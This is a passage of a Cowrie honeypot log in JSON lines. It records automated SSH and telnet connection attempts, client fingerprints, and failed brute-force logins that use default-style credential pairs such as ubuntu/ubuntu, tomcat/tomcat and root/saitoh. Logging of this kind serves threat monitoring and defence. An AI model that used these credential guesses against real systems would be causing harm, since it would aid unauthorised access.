v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:30.484921Z","src_ip":"176.65.132.129","session":"2c189316f343","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elk","password":"123456","message":"login attempt [elk/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:30.737293Z","src_ip":"176.65.132.129","session":"2c189316f343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42408,"dst_ip":"10.17.0.5","dst_port":23,"session":"504371e0434d","protocol":"telnet","message":"New connection: 152.42.224.71:42408 (10.17.0.5:23) [session: 504371e0434d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:31.034661Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42414,"dst_ip":"10.17.0.5","dst_port":23,"session":"b4b7326226dc","protocol":"telnet","message":"New connection: 152.42.224.71:42414 (10.17.0.5:23) [session: b4b7326226dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:31.280914Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:31.823264Z","src_ip":"176.65.132.129","session":"2c189316f343","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42426,"dst_ip":"10.17.0.5","dst_port":23,"session":"030e96420e39","protocol":"telnet","message":"New connection: 152.42.224.71:42426 (10.17.0.5:23) [session: 030e96420e39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:32.292178Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":37656,"dst_ip":"159.203.135.109","dst_port":22,"session":"10f564c93a4f","protocol":"ssh","message":"New connection: 176.65.132.129:37656 (159.203.135.109:22) [session: 10f564c93a4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:33.592808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:33.640904Z","src_ip":"176.65.132.129","session":"10f564c93a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42428,"dst_ip":"10.17.0.5","dst_port":23,"session":"a20e855611a9","protocol":"telnet","message":"New connection: 152.42.224.71:42428 (10.17.0.5:23) [session: a20e855611a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:33.674905Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:33.777742Z","src_ip":"176.65.132.129","session":"10f564c93a4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:34.030903Z","src_ip":"176.65.132.129","session":"10f564c93a4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:35.115623Z","src_ip":"176.65.132.129","session":"10f564c93a4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49796,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ed82c7558e2","protocol":"telnet","message":"New connection: 152.42.224.71:49796 (10.17.0.5:23) [session: 1ed82c7558e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:36.706247Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53750,"dst_ip":"159.203.135.109","dst_port":22,"session":"f63cbabb0cd9","protocol":"ssh","message":"New connection: 176.65.132.129:53750 (159.203.135.109:22) [session: f63cbabb0cd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:36.905078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:36.909867Z","src_ip":"176.65.132.129","session":"f63cbabb0cd9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:36.992327Z","src_ip":"176.65.132.129","session":"f63cbabb0cd9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:37.239669Z","src_ip":"176.65.132.129","session":"f63cbabb0cd9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.876773834228516,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:37.705819Z","src_ip":"152.42.224.71","session":"c48be130900c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.41477036476135,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:37.888602Z","src_ip":"152.42.224.71","session":"ede979443f29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:38.323550Z","src_ip":"176.65.132.129","session":"f63cbabb0cd9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53754,"dst_ip":"159.203.135.109","dst_port":22,"session":"76ade98fb01c","protocol":"ssh","message":"New connection: 176.65.132.129:53754 (159.203.135.109:22) [session: 76ade98fb01c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:40.029586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:40.034274Z","src_ip":"176.65.132.129","session":"76ade98fb01c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:40.116889Z","src_ip":"176.65.132.129","session":"76ade98fb01c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tomcat","password":"tomcat","message":"login attempt [tomcat/tomcat] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:40.365991Z","src_ip":"176.65.132.129","session":"76ade98fb01c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:41.450443Z","src_ip":"176.65.132.129","session":"76ade98fb01c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49804,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff5266fc2099","protocol":"telnet","message":"New connection: 152.42.224.71:49804 (10.17.0.5:23) [session: ff5266fc2099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:41.935700Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":53770,"dst_ip":"159.203.135.109","dst_port":22,"session":"384302c881ec","protocol":"ssh","message":"New connection: 176.65.132.129:53770 (159.203.135.109:22) [session: 384302c881ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:43.205352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:43.210353Z","src_ip":"176.65.132.129","session":"384302c881ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:43.295261Z","src_ip":"176.65.132.129","session":"384302c881ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:43.542894Z","src_ip":"176.65.132.129","session":"384302c881ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":72.57307314872742,"message":"Connection lost after 72 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:44.218940Z","src_ip":"152.42.224.71","session":"6d3e4d370d07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:44.627574Z","src_ip":"176.65.132.129","session":"384302c881ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.12382626533508,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:44.715013Z","src_ip":"152.42.224.71","session":"2538f2fe373c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40968,"dst_ip":"159.203.135.109","dst_port":22,"session":"f68fcff35444","protocol":"ssh","message":"New connection: 176.65.132.129:40968 (159.203.135.109:22) [session: f68fcff35444]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:46.433352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:46.438731Z","src_ip":"176.65.132.129","session":"f68fcff35444","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:46.520899Z","src_ip":"176.65.132.129","session":"f68fcff35444","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:46.767849Z","src_ip":"176.65.132.129","session":"f68fcff35444","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:47.853606Z","src_ip":"176.65.132.129","session":"f68fcff35444","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40984,"dst_ip":"159.203.135.109","dst_port":22,"session":"94a59f825a4d","protocol":"ssh","message":"New connection: 176.65.132.129:40984 (159.203.135.109:22) [session: 94a59f825a4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:49.618058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:49.623083Z","src_ip":"176.65.132.129","session":"94a59f825a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:49.705136Z","src_ip":"176.65.132.129","session":"94a59f825a4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":45230,"dst_ip":"159.203.135.109","dst_port":22,"session":"efcf8ac41a81","protocol":"ssh","message":"New connection: 213.135.168.228:45230 (159.203.135.109:22) [session: efcf8ac41a81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:49.866934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:49.872608Z","src_ip":"213.135.168.228","session":"efcf8ac41a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ricardo","password":"123456","message":"login attempt [ricardo/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:49.959895Z","src_ip":"176.65.132.129","session":"94a59f825a4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:50.005262Z","src_ip":"213.135.168.228","session":"efcf8ac41a81","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"saitoh","message":"login attempt [root/saitoh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:50.563464Z","src_ip":"213.135.168.228","session":"efcf8ac41a81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:51.045166Z","src_ip":"176.65.132.129","session":"94a59f825a4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:57:51.697454Z","src_ip":"213.135.168.228","session":"efcf8ac41a81","protocol":"ssh"}
